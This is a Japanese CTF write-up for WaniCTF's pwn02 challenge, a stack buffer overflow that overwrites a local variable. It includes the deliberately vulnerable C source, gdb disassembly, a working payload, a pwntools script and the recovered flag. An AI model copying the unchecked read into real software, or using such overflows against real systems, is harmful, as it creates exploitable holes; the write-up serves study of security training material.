スタックバッファオーバーフローによって,ローカル変数を書き換える訓練。
攻撃コード1
$ (echo "AAAAAAAAAAWANI"; cat) | ./pwn02
攻撃コード2
pwn02.py
import pwn
# io = pwn.remote("var.wanictf.org", 9002)
io = pwn.process("./pwn02")
ret = io.readuntil("What's your name?: ")
print(ret)
s = b"A" * 10
s += b"WANI\x00"
print(s)
io.send(s)
io.interactive()
問題文
nc var.wanictf.org 9002
stackの仕組みを理解する必要があります。
ローカル変数はstackに積まれます。
ローカル変数を書き換えて下さい。
配布データ
pwn02.c
pwn02
pwn02.c
# include <stdio.h>
# include <unistd.h>
# include <stdlib.h>
# include <string.h>
void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);
char str_head[] = "hello ";
char str_tail[] = "!\n";
void win()
{
puts("Congratulation!");
system("/bin/sh");
exit(0);
}
void vuln()
{
char target[] = "HACKASE";
char name[10];
char *p;
int ret;
printf("What's your name?: ");
ret = read(0, name, 0x100);
name[ret - 1] = 0;
write(0, str_head, strlen(str_head));
write(0, name, strlen(name));
write(0, str_tail, strlen(str_tail));
if (strncmp(target, "WANI", 4) == 0)
{
win();
}
else
{
printf("target = %s\n", target);
}
{ //for learning stack
register unsigned long rsp asm("rsp");
register unsigned long rbp asm("rbp");
debug_stack_dump(rsp, rbp);
}
}
int main()
{
init();
while (1)
{
vuln();
}
}
void init()
{
alarm(30);
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
unsigned long i;
printf("\n***start stack dump***\n");
i = rsp;
while (i <= rbp + 8)
{
unsigned long *p;
p = (unsigned long *)i;
printf("0x%lx: 0x%016lx", i, *p);
if (i == rsp)
{
printf(" <- rsp");
}
else if (i == rbp)
{
printf(" <- rbp");
}
else if (i == rbp + 8)
{
printf(" <- return address");
}
printf("\n");
i += 8;
}
printf("***end stack dump***\n\n");
}
ローカル変数 name をオーバーフローさせ,target に格納されている文字列 HACKASE の先頭から4バイトを WANI に変えれば, win関数 に飛び,シェル system("/bin/sh") が起動するのでlsやcatでフラグが取れそうです。
とりあえず実行するとこんな感じ
$ ./pwn02
What's your name?: AAA
hello AAA!
target = HACKASE
***start stack dump***
0x7fffd1659a00: 0x00007fffd1659a20 <- rsp
0x7fffd1659a08: 0x0000004141410790
0x7fffd1659a10: 0x4b434148d1659b10
0x7fffd1659a18: 0x0000000400455341
0x7fffd1659a20: 0x00007fffd1659a30 <- rbp
0x7fffd1659a28: 0x00000000004009b6 <- return address
***end stack dump***
スタック見えてますが,目を瞑って
gdbスタート
$ gdb -q ./pwn02
Reading symbols from ./pwn02...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x4009a2
gdb-peda$ r
Starting program: /mnt/c/pwn02
Breakpoint 1, 0x00000000004009a2 in main ()
vuln()を確認します
gdb-peda$ pdisass vuln
Dump of assembler code for function vuln:
0x000000000040089d <+0>: push rbp
0x000000000040089e <+1>: mov rbp,rsp
0x00000000004008a1 <+4>: sub rsp,0x20
0x00000000004008a5 <+8>: movabs rax,0x4553414b434148
0x00000000004008af <+18>: mov QWORD PTR [rbp-0xc],rax
0x00000000004008b3 <+22>: lea rdi,[rip+0x2c2] # 0x400b7c
0x00000000004008ba <+29>: mov eax,0x0
0x00000000004008bf <+34>: call 0x400750 <printf@plt>
0x00000000004008c4 <+39>: lea rax,[rbp-0x16]
0x00000000004008c8 <+43>: mov edx,0x100
0x00000000004008cd <+48>: mov rsi,rax
0x00000000004008d0 <+51>: mov edi,0x0
0x00000000004008d5 <+56>: call 0x400770 <read@plt>
0x00000000004008da <+61>: mov DWORD PTR [rbp-0x4],eax
0x00000000004008dd <+64>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004008e0 <+67>: sub eax,0x1
0x00000000004008e3 <+70>: cdqe
0x00000000004008e5 <+72>: mov BYTE PTR [rbp+rax*1-0x16],0x0
0x00000000004008ea <+77>: lea rdi,[rip+0x20078f] # 0x601080 <str_head>
0x00000000004008f1 <+84>: call 0x400720 <strlen@plt>
0x00000000004008f6 <+89>: mov rdx,rax
0x00000000004008f9 <+92>: lea rsi,[rip+0x200780] # 0x601080 <str_head>
0x0000000000400900 <+99>: mov edi,0x0
0x0000000000400905 <+104>: call 0x400710 <write@plt>
0x000000000040090a <+109>: lea rax,[rbp-0x16]
0x000000000040090e <+113>: mov rdi,rax
0x0000000000400911 <+116>: call 0x400720 <strlen@plt>
0x0000000000400916 <+121>: mov rdx,rax
0x0000000000400919 <+124>: lea rax,[rbp-0x16]
0x000000000040091d <+128>: mov rsi,rax
0x0000000000400920 <+131>: mov edi,0x0
0x0000000000400925 <+136>: call 0x400710 <write@plt>
0x000000000040092a <+141>: lea rdi,[rip+0x200756] # 0x601087 <str_tail>
0x0000000000400931 <+148>: call 0x400720 <strlen@plt>
0x0000000000400936 <+153>: mov rdx,rax
0x0000000000400939 <+156>: lea rsi,[rip+0x200747] # 0x601087 <str_tail>
0x0000000000400940 <+163>: mov edi,0x0
0x0000000000400945 <+168>: call 0x400710 <write@plt>
0x000000000040094a <+173>: lea rax,[rbp-0xc]
0x000000000040094e <+177>: mov edx,0x4
0x0000000000400953 <+182>: lea rsi,[rip+0x236] # 0x400b90
0x000000000040095a <+189>: mov rdi,rax
0x000000000040095d <+192>: call 0x4006f0 <strncmp@plt>
0x0000000000400962 <+197>: test eax,eax
0x0000000000400964 <+199>: jne 0x400972 <vuln+213>
0x0000000000400966 <+201>: mov eax,0x0
0x000000000040096b <+206>: call 0x400877 <win>
0x0000000000400970 <+211>: jmp 0x40098a <vuln+237>
0x0000000000400972 <+213>: lea rax,[rbp-0xc]
0x0000000000400976 <+217>: mov rsi,rax
0x0000000000400979 <+220>: lea rdi,[rip+0x215] # 0x400b95
0x0000000000400980 <+227>: mov eax,0x0
0x0000000000400985 <+232>: call 0x400750 <printf@plt>
0x000000000040098a <+237>: mov rdx,rbp
0x000000000040098d <+240>: mov rax,rsp
0x0000000000400990 <+243>: mov rsi,rdx
0x0000000000400993 <+246>: mov rdi,rax
0x0000000000400996 <+249>: call 0x400a05 <debug_stack_dump>
0x000000000040099b <+254>: nop
0x000000000040099c <+255>: leave
0x000000000040099d <+256>: ret
End of assembler dump.
read (入力)を抜けた後の入力文字列の末尾に文字列の終端を意味する 0x00 を付けている
mov BYTE PTR [rbp+rax*1-0x16],0x0
の次
0x00000000004008ea <+77>: lea rdi,[rip+0x20078f] # 0x601080 <str_head>
にブレークポイントを設定し,c (continue) で流します。
gdb-peda$ b *0x00000000004008ea
Breakpoint 2 at 0x4008ea
gdb-peda$ c
Continuing.
What's your name?:
What's your name?:とくるので, AAA を入力します。
よくわからないので詳細にスタックを見ます
gdb-peda$ x/10xg 0x7ffffffee280
現在 A*3 を入力していますが,黄色の蛍光ペンで示したように,Aが10個必要です。
攻撃してみます。
$ (echo "AAAAAAAAAAWANI"; cat) | ./pwn02
What's your name?: Congratulation!
cat flag.txt
CTF{gdb_is_useful}
ビンゴ
参考にしたサイト